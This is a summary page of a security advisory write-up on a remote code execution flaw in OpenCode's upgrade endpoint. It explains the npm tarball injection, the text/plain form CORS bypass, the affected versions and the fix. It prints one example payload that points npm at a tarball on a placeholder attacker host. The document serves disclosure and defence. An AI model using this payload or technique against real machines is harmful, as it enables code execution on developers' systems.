Skip to content

Back to the catalog

Discovering and exploiting a remote code execution vulnerability in OpenCode (GHSA-632h-h47v-g4x4)
securitylabs.datadoghq.comwriteup

Discovering and exploiting a remote code execution vulnerability in OpenCode (GHSA-632h-h47v-g4x4)

GHSA-632h-h47v-g4x4 is an RCE in OpenCode's /global/upgrade endpoint, fixed in 1.18.22. The target value reached `npm install -g opencode-ai@TARGET`, so an attacker could supply a malicious tarball URL with a preinstall script. A text/plain HTML form bypassed CORS through top-level navigation because the handler parsed JSON without checking Content-Type. Affects 1.14.30 to 1.18.21 installed via npm, pnpm or Bun.

TL;DR Datadog shows how a content-type confusion and unvalidated npm install target in OpenCode's upgrade API let a malicious webpage run code on a developer's machine.
Document

What it is

GHSA-632h-h47v-g4x4 is a remote code execution flaw in the OpenCode AI coding agent (Anomaly), found by Datadog Security Labs. It is reachable from any web page the user visits while the OpenCode web server is running. OpenCode 1.18.22 fixes it. Anomaly chose not to request a CVE, so the GHSA is the only identifier.

How it works

Two flaws combine.

  1. Injection. POST /global/upgrade takes a target string and runs npm install -g opencode-ai@${target} (or the pnpm or bun equivalent) with child_process.spawn(). npm accepts a remote tarball URL as a package spec. The attacker hosts a package named opencode-ai whose package.json has a preinstall script, and that script runs on the victim's machine.
  2. Content-type confusion. The handler (upgradeRaw, using Effect's handleRaw) reads the body as text and calls JSON.parse without checking Content-Type. A cross-origin fetch() with application/json fails the CORS preflight, because the server returns no Access-Control-Allow-Origin. A top-level form navigation skips CORS. An enctype="text/plain" form can build valid JSON by splitting it across the input name and value, so the body becomes {"target":"http://ATTACKER/opencode-malicious.tgz","x":"="}. The server answers 200.

Chrome 142, Firefox 151 and Edge 143 added Local Network Access prompts for cross-origin requests to localhost. The page says these protections do not currently cover top-level navigations, by design.

Preconditions / Affected

All of these must hold:

  • OpenCode 1.14.30 through 1.18.21 inclusive.
  • opencode serve or opencode web is running with no OPENCODE_SERVER_PASSWORD, or the browser has cached basic-auth credentials from a recent login. Setting a password therefore does not protect a user who has recently authenticated in that browser.
  • Installed via npm, pnpm or Bun. The curl install method is not in the vulnerable list.

The server listens on 127.0.0.1:4096 by default, and the victim's browser acts as the bridge to it.

What to do

Upgrade to 1.18.22 or later. To check the install method:

ls -l "$(command -v opencode)"

Setting a password helps only partly, for the reason above:

OPENCODE_SERVER_PASSWORD=whySoSerious opencode web

The fix is PR #44686 (commit c6e76e9, 24 August 2026). It does two things:

  • target must now pass semver.valid.
  • handle replaces handleRaw, so the content type is enforced. The exploit request now gets 415 Unsupported Media Type.

Caveats

  • Datadog counted more than 647,000 npm downloads of the 82 vulnerable versions from 17 to 23 September 2026. That does not show how many users run opencode serve or opencode web, or how many machines are affected.
  • The page gives no evidence of exploitation in the wild.

Organisations named here

  • Anomaly
  • content-type confusion
  • cross-origin request
  • Datadog Security Labs
  • GHSA-632h-h47v-g4x4
  • Local Network Access
  • preinstall script

Technologies named here

  • OpenCode
  • npm
  • pnpm
  • Bun
  • GitHub Security Advisories
  • TypeScript
  • Basic authentication (OPENCODE_SERVER_PASSWORD)
  • Cross-Origin Resource Sharing (CORS)
  • Effect (handleRaw and handle)
  • Local Network Access
  • OpenCode 1.18.21 (version shown in the exploit video)

Techniques named here

  • Content-type confusion
  • Cross-origin form POST via top-level navigation (enctype text/plain)
  • Malicious npm package with preinstall lifecycle script
  • Remote code execution via command/argument injection